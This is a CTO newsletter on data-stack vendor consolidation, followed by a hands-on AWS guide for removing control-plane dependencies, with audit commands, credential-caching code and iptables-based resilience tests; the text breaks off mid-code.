DuckDB says: what if you just query the files directly? Parquet on S3 is already columnar and compressed. Why copy it into a proprietary warehouse format? Just point DuckDB at the bucket and write SQL. Transformations? Run them in DuckDB and write the results back to S3 as Parquet. Visualization? Connect your BI tool directly to DuckDB or use Jupyter notebooks.

The cost differential is obscene. A Snowflake query that costs $10 in compute might cost $0.02 in S3 data transfer with DuckDB. You’re paying 500x for the privilege of having your data in someone else’s proprietary format.

The Three-Way Battle for SQL’s Soul

Fivetran-dbt wants to own the transformation layer. They control how data moves and how it gets transformed, but they’re agnostic about where it lives. Their bet: the transformation logic is the moat, and they can charge rent on every pipeline regardless of the underlying warehouse.

Snowflake’s pg_lake attacks the storage layer by making Postgres compatible with lakehouse formats (Iceberg, Delta, Hudi). Their bet: if Postgres becomes the universal interface for lakehouse formats, Snowflake’s proprietary warehouse becomes one option among many. Making Postgres compatibility a first-class feature is their hedge against commoditization.

DuckDB is the anarchist in the room saying: why do you need any of them? Just use open formats (Parquet, Iceberg), store them cheaply (S3, GCS), and query them directly. No vendor lock-in. No data movement. No rent-seeking middlemen.

The battle being fought: who owns the SQL interface? Fivetran-dbt wants to own the transformation SQL. Snowflake wants to own the storage SQL. DuckDB wants to make the question irrelevant by making SQL so cheap and portable that vendor choice stops mattering.

Is the Modern Data Stack Actually Dead?

The Modern Data Stack narrative always had a problem: it assumed that data engineering was a separate discipline from software engineering. Fivetran for ingestion, dbt for transformation, Snowflake/Databricks for warehousing, Looker/Tableau for BI. Each layer had its own vendors, its own tooling, its own pricing model. The result was a Rube Goldberg machine where moving data from A to B required six vendors, four different teams and at least three coffee runs.

The consolidation is inevitable. Supabase acquired Triplit because they realized offline-first databases are the future of edge computing. Fivetran merged with dbt because charging separately for ingestion and transformation was leaving money on the table. Airbyte (which raised $150M at $1.5B in 2023) is watching nervously and trying to figure out if they’re next or if they can survive as the “open-source alternative.”

The real winner here is SQL. Not Spark SQL, not Presto SQL, not proprietary query languages, just SQL. The Modern Data Stack was always a bet that SQL is the universal interface for data operations, and the consolidation is proving it right. Every tool in the stack compiles down to SQL in the warehouse. The vendors are just fighting over who gets to generate that SQL and collect the rent.

Is the Modern Data Stack being displaced by observability?

But there’s a darker reading, and it’s the one that should concern you more: is the Modern Data Stack being displaced by observability? The 360° view of data used to require a data warehouse, a transformation layer, and a BI tool. Now it requires an observability platform that captures data at ingestion, indexes it in real time, and surfaces insights without transformation. Datadog, New Relic, and Splunk are eating the MDS from below by making data warehouses feel slow and expensive. (While DuckDB is also gaining traction as a backend for log and observability data analysis.)

The shift is subtle but real: companies are moving from “store everything and query later” to “stream everything and filter in real time.” The Modern Data Stack was built for batch processing. Observability 2.0 is built for real-time. The batch world is shrinking, and the vendors who can’t move to streaming are about to get consolidated into irrelevance. And we all know how that story ends.

The Modern Data Stack assumed data engineering was a separate discipline requiring specialized tools distinct from software engineering workflows. But as data volumes increased and latency requirements tightened, the batch-processing paradigm showed its limits. Why store data in a warehouse, transform it overnight, and query it in the morning when you could stream it, transform it in-flight, and query it in real time?

The consolidation reveals two competing futures: fully integrated platforms (Supabase for transactional, Databricks for analytical) or composable open-source tooling (Airbyte, dbt-core, DuckDB) with no middle ground. The vendors charging rent for the middle are running out of road.

Industry Impact

Snowflake’s pg_lake is a defensive move. If Postgres becomes the universal interface for lakehouse formats, Snowflake’s proprietary warehouse becomes one option among many rather than the default. Making Postgres compatibility a first-class feature is their hedge against commoditization; an admission that even Snowflake sees the open-format future coming.

This consolidation is a signal that the MDS was always a transitional architecture. The future is either fully integrated platforms (Supabase for transactional, Databricks for analytical) or composable open-source tooling (Airbyte, dbt-core, DuckDB), with no middle ground. Vendors charging rent for the glue between systems are being squeezed from both sides.

What This Means for CTOs

For CTOs running Modern Data Stack implementations, this creates immediate planning pressure. If you’re running SQLMesh, start planning your migration to dbt now. The announcement will come eventually, but waiting for it just compresses your timeline. If you’re evaluating data pipeline solutions, assume Fivetran-dbt is the default and ask why you should fragment your tooling. But the bigger question is whether you need a Modern Data Stack at all. If observability platforms plus a lakehouse (Databricks, Iceberg, DuckDB) gets you 80% of the value at 30% of the cost, why maintain the additional complexity?

CTO Playbook: 30/60/90 (Modern Data Stack)

• DuckDB Proof-of-Concept (HIGH PRIORITY - 30 days): Identify one analytical workload currently running in Snowflake/Databricks with <100GB working set. Reimplement using DuckDB querying Parquet on S3/GCS. Measure: query latency, cost per query, data transfer costs, developer time to implement. Deliverable: Side-by-side cost comparison showing actual spend (warehouse credits vs S3 access), performance benchmarks on representative queries, decision memo on whether to expand DuckDB usage.

• Lakehouse Format Migration Assessment (HIGH PRIORITY - 30 days): Audit current data storage: percentage in proprietary warehouse formats vs open formats (Parquet, Iceberg, Delta). For data still in proprietary formats, document: migration cost, downstream breaking changes, vendor lock-in risk if pricing increases 2x. Deliverable: Migration plan with ROI calculation (cost to migrate vs cost savings from open formats), prioritized backlog of tables to convert, break-even timeline.

• Real-Time vs Batch Architecture Decision (MEDIUM PRIORITY - EOY): Map all analytical workloads to latency requirements: can decisions wait for overnight batch (MDS), need hour-level freshness (streaming + lakehouse), or require sub-minute visibility (observability platforms). Document which workloads are mis-architected (using expensive real-time infrastructure for batch-suitable queries or vice versa). Deliverable: Architecture decision matrix, cost optimization opportunities, timeline for right-sizing infrastructure per workload.

• SQLMesh Deprecation Plan (MEDIUM PRIORITY - EOY): If running SQLMesh, create migration roadmap to dbt with: (1) automated conversion tooling for existing transforms, (2) parallel run period (both systems operating, validating output parity), (3) cutover criteria and rollback plan. If not on SQLMesh, document strategy if Fivetran sunsets other acquired tools (Census, Tobiko). Deliverable: Migration project plan with resource requirements, compatibility test results, stakeholder sign-off on timeline.

• Vendor Concentration Risk Analysis (LOW PRIORITY - 90 days): Calculate percentage of data infrastructure spend going to single vendor (Snowflake, Databricks, Fivetran-dbt post-merger). If >40% with one vendor, document: alternatives with equivalent capabilities, cost to migrate, negotiation leverage. For Fivetran-dbt specifically, assess whether vertical integration creates pricing power that eliminates competitive pressure. Deliverable: Vendor risk scorecard, negotiation strategy for next renewal, multi-vendor architecture options if current concentration is unsustainable.

Risk, Security & Compliance

Following up on August’s SharePoint hack for anyone who doubted its criticality: foreign hackers breached a US nuclear weapons plant via SharePoint flaws.

The CVE-2025-49596 remote code execution vulnerability that Microsoft initially described as “moderate severity” just compromised classified national security infrastructure.

This isn’t the usual “patch your systems” reminder. It’s serving notice that “your entire threat model is wrong.” The attack chain went: SharePoint vulnerability → network pivot → exfiltration of sensitive data from a facility that processes nuclear materials. The vulnerability was exploited in the wild for months before the breach was detected. Microsoft’s response was to issue a patch and move on. No acknowledgment of the offshore engineering team that maintains SharePoint on-prem. No explanation of how a “moderate severity” bug became a nation-state attack vector.

For CTOs, the lesson is blunt: SaaS vendor security ratings are theater. Microsoft has SOC 2, FedRAMP, every compliance cert you can name. They still shipped a vulnerability that compromised a nuclear weapons facility. The next time a vendor shows you their security questionnaire, remember that compliance certifications are about covering liability, not preventing breaches. The modern threat model assumes your vendors are compromised, your supply chain is hostile, and your perimeter doesn’t exist. When we say zero trust architecture, we mean it.

Subscribe now

At The Agentic Threshold

This month revealed the infrastructure gaps we’re carrying into the agentic era. We’re building systems capable of infinite accumulation but incapable of graceful failure (let alone nation state attack.) That mostly worked when systems retrieved information. It’s catastrophic when systems take action. The other side of this is agentic projects that get canceled not because the technology doesn’t work but because the organizations didn’t architect for the reality that autonomous agents require fundamentally different infrastructure patterns than conversational AI. Stateless pipelines versus stateful runtimes. Compile-time safety versus runtime suggestions. Platform-integrated agents versus browser-based distribution. Growing up is hard.

The companies pulling ahead are the ones that recognized this early and made hard architectural choices: one pattern per use case, observable agent behavior as infrastructure, graceful degradation by default. The companies falling behind are still treating agents as “ChatGPT with API access” and wondering why their pilots can’t graduate to production.

We’re not growing too fast, we’re growing without the architectural foundation to support what we’re building. The next year will separate organizations that understand this from those that don’t. Your infrastructure decisions today determine whether you’re automating the future or writing postmortems about why an agent took down production.

Choose wisely. Execute efficaciously.

Forest Mars
CTO Lunch NYC

*To attend CTO Lunches, please register at ctolunches.com and choose NYC as your city.

If you’re reading this, your CTO just handed you Part 1 and said “make it happen.” Here’s how.

This document is your complete technical remediation plan. It’s not a strategic discussion; it’s the actual work the team needs to do to survive the next AWS outage. The companies that made it through October 20th already did this work.
The 3500+ companies that got hit, hadn’t (including over 85 of the biggest and best known experiencing user-facing service outages.)

Your goal is simple: Decouple runtime operations from AWS control plane dependencies. When you’re done, your services will keep serving requests even when us-east-1’s control plane is completely offline for 12+ hours.

The Core Principle: Data Plane vs Control Plane

The application’s ability to serve customer requests should depend only on:

• Data plane operations (reads/writes to DynamoDB, S3, SQS, RDS, caches)

• Locally cached configuration loaded at startup

• Credentials issued with 12-hour lifetime and cached locally

This is the architectural principle that separates companies that survive outages from companies that don’t.

The application must never depend on these control plane operations at runtime:

• Provisioning new AWS resources (RunInstances, CreateStack)

• Dynamically looking up infrastructure state (DescribeInstances, DescribeTable, DescribeStacks)

• Refreshing credentials more frequently than once every few hours

• Fetching secrets or configuration on every request

Multi-AZ doesn’t save you, obvi. Perfect multi-AZ redundancy only protects your data plane from localized service failure. But what quite a few missed was that Multi-Region doesn’t save you either. If your application makes control plane calls at runtime, a failure in us-east-1’s global control plane anchor can still take you down, regardless of which region you’re running in. Control plane dependencies are a separate fault domain.

The Audit (Find All Vulnerabilities)

Before you fix anything, you need to know what’s broken. Run these commands in your application codebase to find every control plane dependency:

# Find all control plane API calls that will kill you
grep -r “DescribeInstances\|AssumeRole\|GetParameter\|DescribeTable\|UpdateStack\|DescribeStacks” .
grep -r “describe_instances\|assume_role\|get_parameter\|describe_table\|update_stack\|describe_stacks” .  # Python
grep -r “describeInstances\|assumeRole\|getParameter\|describeTable\|updateStack\|describeStacks” .      # JavaScript

# Find secrets manager calls
grep -r “get_secret_value\|GetSecretValue\|getSecretValue” .

# Find Parameter Store calls
grep -r “get_parameter\|GetParameter\|getParameter” .

# Find ECS service discovery
grep -r “describe_tasks\|DescribeTasks\|describeTasks\|list_tasks\|ListTasks” .

# Find CloudFormation queries
grep -r “describe_stacks\|DescribeStacks\|describeStacks” .

# Find Auto Scaling calls
grep -r “set_desired_capacity\|SetDesiredCapacity\|setDesiredCapacity” .

# Find CloudWatch Logs creation
grep -r “create_log_stream\|CreateLogStream\|createLogStream” .

# Find KMS metadata calls
grep -r “describe_key\|DescribeKey\|describeKey” .

# PUTTING IT ALL TOGETHER
# Find ALL control plane API calls that will kill you.
# Grep for snake_case (Python), PascalCase (JS/Go), & camelCase (Java).
grep -r -i “describeinstances\|assumerole\|getparameter\|describetable\|updatestack\|describestacks\|getsecretvalue\|listtasks\|setdesiredcapacity\|createlogstream\|describekey” .

Now go through every match and ask: Is this called during request handling? Is this in a request handler, middleware, connection pool initialization, or anywhere in the hot path? If yes, that’s a vulnerability. Add it to your spreadsheet:

Sort by revenue impact. The top 10 are what you fix first.

Priority Zero: STS Credential Management

(Confirm Defaults or Critical Problem)

Post-April 2025 Status Check: AWS now routes the global STS endpoint (sts.amazonaws.com) to your local region by default. If you’re calling STS from within AWS in a standard region, you’re already protected. But you need to audit for edge cases that will absolutely kill you.

The Diagnostic: Are You Vulnerable?

Run this audit to find out if STS is still a problem for your architecture:

Case 1: On-Premises or External STS Calls

Run these Bash commands in the root of your application repository:

# Search for global STS calls from non-AWS environments.
# The -v regex filters out lines that are just comments.
grep -r “sts.amazonaws.com” . | grep -v “^\s*#”

# Search for explicit endpoint URL overrides in code or config.
grep -r “endpoint_url.*sts” . | grep -v “^\s*#”

Case 2: Outdated SDK Versions

This requires manually checking your dependency lock files:

# Check boto3/AWS SDK versions in requirements.txt, package.json, etc.
# boto3 < 1.26.0 (late 2022) doesn’t respect AWS_STS_REGIONAL_ENDPOINTS=regional by default

If you find matches AND those calls originate from on-prem data centers, external services, or opt-in regions, you’re vulnerable. These calls still route to us-east-1. And if you’re on ancient SDKs (circa 2022) you might still be hitting us-east-1 even from within AWS.

Case 3: Short-Lived Credential Refresh Cycles

Even with regional STS routing, if your credentials expire every 15 minutes and you refresh them via STS calls, you’re creating unnecessary control plane dependencies. Check your IAM role session durations:

aws iam get-role --role-name your-application-role | jq ‘.Role.MaxSessionDuration’
# If this returns 3600 (1 hour), you’re refreshing too frequently

The Fix: Eliminate or Extend

If you found on-prem / external STS calls:

# BEFORE: Implicit global endpoint from outside AWS
sts = boto3.client(’sts’)  # Routes to us-east-1

# AFTER: Explicit regional endpoint
sts = boto3.client(’sts’, region_name=’us-west-2’)  # Routes to us-west-2
# Or set environment variable:
# AWS_STS_REGIONAL_ENDPOINTS=regional

If you found short credential lifetimes:

Step 1: Configure IAM Roles for Maximum Session Duration (12 hours):

# AWS CLI
aws iam update-role \
  --role-name your-application-role \
  --max-session-duration 43200

# Terraform
resource “aws_iam_role” “app_role” {
  name                 = “application-role”
  max_session_duration = 43200  # 12 hours
  assume_role_policy   = jsonencode({...})
}

Step 2: Implement Long-Lived Credentials with Jittered Background Refresh:
(Production Fix)

Instead of relying on a crash-and-restart, long-running services should implement a background refresh using the built-in refresh mechanism, configured with jitter. This eliminates the Thundering Herd on application restarts. The correct solution requires separating the credential logic from the application logic for clean shutdown and robustness.

The key components of this solution are:

1. Client Initialization: A dedicated utility long_lived_client.py performs the initial AssumeRole at startup and launches a background thread.

2. Jittered Refresh: The background thread manages the 12-hour refresh cycle, implementing randomized jitter (30 mins to 1 hour) on the wait time to prevent a Thundering Herd against STS upon recovery.

3. Graceful Degradation: The main application calls a wrapper function (e.g., safe_dynamodb_call in app_server.py) that explicitly catches the ’ExpiredToken’ error and allows the service to respond with a 503 instead of crashing, relying on the orchestration layer to restart.

import boto3
from botocore.credentials import RefreshableCredentials
from botocore.session import get_session

STS_ROLE_ARN = “arn:aws:iam::123456789012:role/app-role” 

def get_refresh_metadata():
    sts_client = boto3.client(’sts’)
    response = sts_client.assume_role(
        RoleArn=STS_ROLE_ARN,
        RoleSessionName=’LongLivedSession’,
        DurationSeconds=43200
    )[’Credentials’]
    return {
        ‘access_key’: response[’AccessKeyId’],
        ‘secret_key’: response[’SecretAccessKey’],
        ‘token’: response[’SessionToken’],
        ‘expiry_time’: response[’Expiration’].isoformat()
    }

refreshable_creds = RefreshableCredentials.create_from_metadata(
    metadata=get_refresh_metadata(),    # Initial load
    refresh_using=get_refresh_metadata, # called on expiration
    method=’sts-assume-role’
)

session = get_session()
session._credentials = refreshable_creds
autorefresh_session = boto3.Session(botocore_session=session)

# Call this ONCE at app startup, not per request
dynamodb_client = autorefresh_session.client(’dynamodb’)

Note on Maximum Resilience

The code above is excellent for normal operation. However, for guaranteed fleet survivability during a 12+ hour catastrophic STS outage, you need to implement explicit jitter and manual ExpiredToken exception handling. This more robust, manual approach (using threading and custom jitter for Thundering Herd prevention) is available in the companion repository as two separate files: long_lived_client.py and app_server.py.

Step 3: Handle Credential Expiration via Restart:

Your applications should restart periodically (every 6-12 hours) as part of normal deployment cycles. When they restart, they get fresh credentials at boot. If credentials expire during runtime:

# Graceful degradation approach
def safe_dynamodb_call():
    try:
        return dynamodb_client.get_item(...)
    except ClientError as e:
        if e.response[’Error’][’Code’] == ‘ExpiredToken’:
            logger.error(”Credentials expired, restart required”)
            # Option A: Return cached data if available
            # Option B: Fail fast and let orchestration restart process
            raise
        raise

Test Your Fix:

Block STS API endpoints at the network level and verify your services continue operating for 12+ hours:

# Block STS control plane
sudo iptables -A OUTPUT -d sts.amazonaws.com -j DROP
sudo iptables -A OUTPUT -d sts.*.amazonaws.com -j DROP

# Verify your services still work
curl http://localhost:8080/health
# Should return 200 OK for the next 12 hours

• Success Criteria: Your mobile/web app should continue functioning for the full credential lifetime (12 hours minimum) even if Cognito Identity Pool API becomes completely unavailable.

• For JWT/SAML Federation: If you’re using federated identity, set the SAML assertion session lifetime to 12 hours in your (Okta, Azure AD, etc.). This ensures the same long-lived credential behavior.

• Quick Win Confirmation: If your audit shows you’re already using regional endpoints (or have them by default post-April 2025) AND your credentials last 12 hours, you’re done with STS. Move on to the nine harder problems below.

• If You Found Problems: Fix them now. This is your foundation. Everything else builds on credential management working correctly.

Yes, your security team will ask about this. Point them to Part 1’s section on the security vs. resilience trade-off and see Q&A, below. You’re not eliminating security, you’re accepting that running instances may operate with expired credentials during a control plane outage, which is preferable to all instances failing simultaneously. And that credential TTL should never have been a first line of defense to begin with.

Cognito Identity Pools: The Hidden STS Dependency

If you’re using AWS Cognito Identity Pools for mobile or web applications, you must understand how Cognito interacts with STS, as the behavior is different depending on which flow you use, and the process isn’t fully documented by AWS. (That I’ve found.)

The Two Cognito Flows

In the Basic/Classic Flow, your application client handles more of the credential negotiation, making it heavily dependent on the control plane. The user authenticates through the Cognito User Pool or an external provider. Your application calls GetIdToken, and critically, your application then calls AssumeRoleWithWebIdentity (a direct STS call), passing the identity token. Temporary AWS credentials are then returned directly to your app. In this flow, YOUR APPLICATION makes the STS call, and your SDK configuration (like version or regional endpoint setting) determines which global or regional endpoint gets hit, leaving you vulnerable if misconfigured.

In the more recent, preferred Enhanced Flow, Cognito abstracts the control plane call away from your client. The user authenticates, and your application simply calls GetCredentialsForIdentity (Cognito Identity Pool). Then, Cognito internally calls AssumeRoleWithWebIdentity for you from within its own AWS infrastructure, and temporary AWS credentials are returned to your app. In this flow, COGNITO makes the STS call, which makes it much safer.

Post-April 2025: Which Flow is Safe?

Based on architectural inference (since AWS hasn’t explicitly documented this that I could find) the Enhanced flow is likely protected. This is because Cognito is an AWS service running in AWS infrastructure and should benefit from the April 2025 regional STS routing fix. However, the Basic flow depends entirely on your SDK configuration and could still be hitting the us-east-1 global control plane anchor.

How to Audit Your Cognito Usage

Step 1: Identify which flow you’re using

# Basic/Classic flow indicators:
grep -r “get_open_id_token\|GetOpenIdToken” .
grep -r “assume_role_with_web_identity\|AssumeRoleWithWebIdentity” .

# Enhanced flow indicators:
grep -r “get_credentials_for_identity\|GetCredentialsForIdentity” .

Step 2: Check your CloudTrail logs

# Look for AssumeRoleWithWebIdentity events
# If userAgent shows your application name, you’re in basic flow
# If userAgent shows “cognito-identity.amazonaws.com”, you’re in enhanced flow

Step 3: Verify credential refresh frequency

Cognito credentials have a default lifetime of 1 hour. If your mobile app is calling GetCredentialsForIdentity or AssumeRoleWithWebIdentity on every app launch or every hour, you’re creating frequent control plane dependencies.

The Fix: Enhanced Flow + Aggressive Caching

Migration from Basic to Enhanced Flow:

// BEFORE: Basic flow (your app calls STS)
const cognitoIdentity = new AWS.CognitoIdentity();

// Step 1: Get OpenID token
const tokenResponse = await cognitoIdentity.getOpenIdToken({
  IdentityId: identityId
}).promise();

// Step 2: YOUR APP calls STS (control plane dependency!)
const sts = new AWS.STS();
const credsResponse = await sts.assumeRoleWithWebIdentity({
  RoleArn: roleArn,
  RoleSessionName: ‘MySession’,
  WebIdentityToken: tokenResponse.Token
}).promise();

// AFTER: Enhanced flow (Cognito calls STS internally)
const cognitoIdentity = new AWS.CognitoIdentity();

// Single call - Cognito handles STS internally
const credsResponse = await cognitoIdentity.getCredentialsForIdentity({
  IdentityId: identityId,
  Logins: {
    ‘cognito-idp.us-west-2.amazonaws.com/us-west-2_XXXXX’: idToken
  }
}).promise();

Implement Aggressive Credential Caching:

// Mobile app: Cache credentials locally
class CredentialCache {
  constructor() {
    this.credentials = null;
    this.expiration = null;
  }

  async getCredentials(identityId, idToken) {
    // Only refresh if credentials expire in < 5 minutes
    if (this.credentials && this.expiration > Date.now() + 5 * 60 * 1000) {
      return this.credentials;
    }

    // Fetch new credentials (enhanced flow)
    const cognitoIdentity = new AWS.CognitoIdentity();
    const response = await cognitoIdentity.getCredentialsForIdentity({
      IdentityId: identityId,
      Logins: {
        ‘cognito-idp.us-west-2.amazonaws.com/us-west-2_XXXXX’: idToken
      }
    }).promise();

    this.credentials = response.Credentials;
    this.expiration = new Date(response.Credentials.Expiration).getTime();
    
    return this.credentials;
  }
}

Critical: Handle Credential Refresh Failures Gracefully:

async function makeAWSCall() {
  try {
    const credentials = await credentialCache.getCredentials(identityId, idToken);
    // Make your AWS API call
  } catch (error) {
    if (error.code === ‘ServiceUnavailable’ || error.code === ‘RequestTimeout’) {
      // Cognito/STS unavailable - use cached credentials if available
      if (credentialCache.credentials) {
        console.log(’Using cached credentials during outage’);
        // Proceed with (possibly expired) cached credentials
        // The worst case: API call fails with ExpiredToken
        // Better than: App completely broken
      }
    }
    throw error;
  }
}

Testing Cognito Resilience

# Block Cognito Identity endpoints
sudo iptables -A OUTPUT -d cognito-identity.*.amazonaws.com -j DROP

# Verify your app:
# 1. Can still make AWS API calls using cached credentials
# 2. Gracefully handles credential refresh failures
# 3. Doesn’t crash or become unusable

With the identity and credential foundation now secure, the focus shifts to the application hot path. Your services still contain synchronous runtime dependencies on control plane operations for configuration, metadata lookup, and service discovery. These must be surgically eliminated. In the final section we look at the top 9 Control Plane Data Access (CPDA) anti-patterns responsible for 95% of revenue risk.

Subscribe now

The Top 9 Control Plane Anti-Patterns (Prioritized)

These are the patterns that killed everyone on October 20th. Fix them in this order.

1. Secrets Manager Reads in Request Hot Path

The Problem:

Every API request fetches secrets from Secrets Manager. While Secrets Manager has a data plane API, it has hidden control plane dependencies on DynamoDB metadata and KMS for decryption.

# DANGEROUS: Every API request fetches secrets
@app.route(’/api/data’)
def get_data():
    secret = secretsmanager.get_secret_value(SecretId=’prod/db/password’)
    db = connect_to_db(password=secret[’SecretString’])
    return db.query()

The Fix:

Load secrets once at application startup and cache them for the app’s lifetime.

# FIXED: Load secrets at startup
import boto3
import os

# Global variable, loaded once at module import
_secrets_cache = {}

def load_secrets_at_startup():
    “”“Call this once when the application starts”“”
    client = boto3.client(’secretsmanager’)
    secret = client.get_secret_value(SecretId=’prod/db/password’)
    _secrets_cache[’db_password’] = secret[’SecretString’]

# Load once at startup
load_secrets_at_startup()

@app.route(’/api/data’)
def get_data():
    # Use cached secret, no API call
    db = connect_to_db(password=_secrets_cache[’db_password’])
    return db.query()

For rotating secrets: Implement a background thread that refreshes every 6+ hours and gracefully handles failures by continuing with the cached value.

import threading
import time

def refresh_secrets_background():
    while True:
        try:
            time.sleep(6 * 60 * 60)  # 6 hours
            client = boto3.client(’secretsmanager’)
            secret = client.get_secret_value(SecretId=’prod/db/password’)
            _secrets_cache[’db_password’] = secret[’SecretString’]
        except Exception as e:
            # Log error but continue with cached secret
            logger.error(f”Secret refresh failed: {e}, using cached value”)

# Start background refresh thread
threading.Thread(target=refresh_secrets_background, daemon=True).start()

2. Parameter Store as Runtime Configuration

The Problem:

Feature flag systems fetch from Parameter Store on every request. Parameter Store has hidden dependencies on KMS metadata and DynamoDB for advanced tier storage. Yes, this is an especially nasty one.

# DANGEROUS: Fetching feature flags on every request
def is_feature_enabled(feature_name):
    param = ssm.get_parameter(Name=f’/features/{feature_name}’)
    return param[’Parameter’][’Value’] == ‘true’

@app.route(’/api/feature’)
def feature_endpoint():
    if is_feature_enabled(’new_feature’):
        return new_implementation()
    return old_implementation()

The Fix:

Load all parameters at startup with GetParametersByPath, cache locally with 1+ hour TTL, accept stale values during outages.

# FIXED: Load parameters at startup
import boto3
from datetime import datetime, timedelta

_param_cache = {}
_param_cache_time = None
CACHE_TTL = timedelta(hours=1)

def load_parameters_at_startup():
    “”“Call once at startup”“”
    global _param_cache_time
    client = boto3.client(’ssm’)
    
    # Load all parameters with a single API call
    paginator = client.get_paginator(’get_parameters_by_path’)
    for page in paginator.paginate(Path=’/features’, Recursive=True):
        for param in page[’Parameters’]:
            name = param[’Name’].split(’/’)[-1]
            _param_cache[name] = param[’Value’]
    
    _param_cache_time = datetime.now()

# Load once at startup
load_parameters_at_startup()

def is_feature_enabled(feature_name):
    # Use cached value, no API call
    return _param_cache.get(feature_name, ‘false’) == ‘true’

def refresh_parameters_background():
    “”“Background refresh that tolerates failures”“”
    global _param_cache_time
    while True:
        try:
            time.sleep(60 * 60)  # 1 hour
            if datetime.now() - _param_cache_time > CACHE_TTL:
                load_parameters_at_startup()
        except Exception as e:
            # Log error but continue with cached values
            logger.error(f”Parameter refresh failed: {e}, using cached values”)

threading.Thread(target=refresh_parameters_background, daemon=True).start()

Key principle: Prefer availability over perfect freshness. Slightly stale feature flags are better than a completely dead service. Easy one to get burned on.

3. Service Discovery via ECS DescribeTasks

The Problem:

Microservices discover backend endpoints by calling ECS DescribeTasks at runtime. This is purely a control plane operation.

# DANGEROUS: Looking up backend service IPs on every request
def get_backend_endpoints():
    tasks = ecs.describe_tasks(
        cluster=’production’,
        tasks=ecs.list_tasks(serviceName=’backend-api’)[’taskArns’]
    )
    return [task[’containers’][0][’networkInterfaces’][0][’privateIpv4Address’]
            for task in tasks[’tasks’]]

@app.route(’/api/proxy’)
def proxy_request():
    endpoints = get_backend_endpoints()  # Control plane call!
    backend = random.choice(endpoints)
    return requests.get(f’http://{backend}/data’)

The Fix:

Use DNS-based service discovery. DNS resolution is pure data plane.

# FIXED: DNS-based service discovery
import socket

@app.route(’/api/proxy’)
def proxy_request():
    # DNS lookup - pure data plane operation
    # ECS Service Discovery creates ‘backend-api.production.local’
    backend_host = ‘backend-api.production.local’
    return requests.get(f’http://{backend_host}/data’)

Setup ECS Service Discovery:

# Terraform: Enable DNS-based service discovery
resource “aws_service_discovery_private_dns_namespace” “internal” {
  name = “production.local”
  vpc  = aws_vpc.main.id
}

resource “aws_service_discovery_service” “backend_api” {
  name = “backend-api”
  dns_config {
    namespace_id = aws_service_discovery_private_dns_namespace.internal.id
    dns_records {
      ttl  = 10
      type = “A”
    }
  }
}

resource “aws_ecs_service” “backend” {
  name    = “backend-api”
  cluster = aws_ecs_cluster.main.id
  
  service_registries {
    registry_arn = aws_service_discovery_service.backend_api.arn
  }
}

Alternative: If you must use ECS APIs, cache discovered endpoints for 5+ minutes and implement graceful degradation with stale lists.

4. Lambda Functions Calling CloudFormation

The Problem:

Lambdas query CloudFormation at runtime to discover resource endpoints. This one is surprisingly common, especially in organizations with complex Infrastructure-as-Code (IaC) and Serverless architectures.

# DANGEROUS: Lambda querying infrastructure state at runtime
def lambda_handler(event, context):
    cfn = boto3.client(’cloudformation’)
    stack = cfn.describe_stacks(StackName=’my-app-stack’)
    db_ep = next(o[’OutputValue’] for o in stack[’Stacks’][0][’Outputs’]
                      if o[’OutputKey’] == ‘DatabaseEndpoint’)
    
    db = connect(db_ep)
    return db.query()

The Fix:

Pass configuration via environment variables set at deploy time. CloudFormation evaluates outputs once during deployment.

# FIXED: Use environment variables
import os

def lambda_handler(event, context):
    # Read from environment, no API call
    db_endpoint = os.environ[’DATABASE_ENDPOINT’]
    db = connect(db_endpoint)
    return db.query()

CloudFormation/Terraform setup:

# CloudFormation
Resources:
  MyFunction:
    Type: AWS::Lambda::Function
    Properties:
      Environment:
        Variables:
          DATABASE_ENDPOINT: !GetAtt Database.Endpoint

# Terraform
resource “aws_lambda_function” “api” {
  function_name = “api-handler”
  
  environment {
    variables = {
      DATABASE_ENDPOINT = aws_db_instance.main.endpoint
    }
  }
}

(Say what? You’re using Pulumi?)

5. DynamoDB Global Tables Metadata Queries

The Problem:

Applications check Global Table replication health via DescribeTable before writes. This requires cross-region control plane coordination.

# DANGEROUS: Checking replication status before writes
def safe_global_write(item):
    table = dynamodb.describe_table(TableName=’GlobalTable’)
    
    # Check if all regions are healthy
    for replica in table[’Table’][’Replicas’]:
        if replica[’ReplicaStatus’] != ‘ACTIVE’:
            raise Exception(”Global table not ready”)
    
    dynamodb.put_item(TableName=’GlobalTable’, Item=item)

The Fix:

Just write to the table. DynamoDB’s data plane handles replication and returns errors if there’s a problem! Trust the data plane.

# FIXED: Write directly, let data plane handle errors
def safe_global_write(item):
    try:
        dynamodb.put_item(TableName=’GlobalTable’, Item=item)
    except ClientError as e:
        # Data plane will tell you if there’s a problem
        if e.response[’Error’][’Code’] == ‘ProvisionedThroughputExceededException’:
            # Handle throttling
            pass
        raise

Key principle: Don’t query metadata to verify health. Let data plane operations fail and handle those failures gracefully.

6. Auto Scaling Based on Application Metrics

The Problem:

Applications directly call Auto Scaling APIs to scale infrastructure.

# DANGEROUS: Application directly calling Auto Scaling APIs
def check_and_scale():
    queue_depth = sqs.get_queue_attributes(
        QueueUrl=’my-queue’,
        AttributeNames=[’ApproximateNumberOfMessages’]
    )
    
    if int(queue_depth[’Attributes’][’ApproximateNumberOfMessages’]) > 1000:
        asg.set_desired_capacity(
            AutoScalingGroupName=’workers’,
            DesiredCapacity=20
        )

The Fix:

Publish custom metrics to CloudWatch (which queues locally), configure CloudWatch alarms with target tracking. AWS handles scaling asynchronously.

# FIXED: Publish metrics, let CloudWatch handle scaling
def publish_queue_depth():
    queue_depth = sqs.get_queue_attributes(
        QueueUrl=’my-queue’,
        AttributeNames=[’ApproximateNumberOfMessages’]
    )
    
    # CloudWatch buffers metrics locally if API unavailable
    cloudwatch.put_metric_data(
        Namespace=’MyApp’,
        MetricData=[{
            ‘MetricName’: ‘QueueDepth’,
            ‘Value’: int(queue_depth[’Attributes’][’ApproximateNumberOfMessages’]),
            ‘Unit’: ‘Count’
        }]
    )

# Background thread publishes metrics every minute
# Your app NEVER calls Auto Scaling APIs directly

CloudWatch Alarm setup:

resource “aws_cloudwatch_metric_alarm” “scale_up” {
  alarm_name          = “queue-depth-high”
  comparison_operator = “GreaterThanThreshold”
  evaluation_periods  = “2”
  metric_name         = “QueueDepth”
  namespace           = “MyApp”
  period              = “60”
  statistic           = “Average”
  threshold           = “1000”
  
  alarm_actions = [aws_autoscaling_policy.scale_up.arn]
}

7. CloudWatch Logs CreateLogStream in Request Path

The Problem:

Applications create log streams synchronously during request handling. CreateLogStream is a control plane operation.

# DANGEROUS: Creating log streams synchronously
def log_request(request_id, data):
    try:
        logs.create_log_stream(
            logGroupName=’/aws/app/requests’,
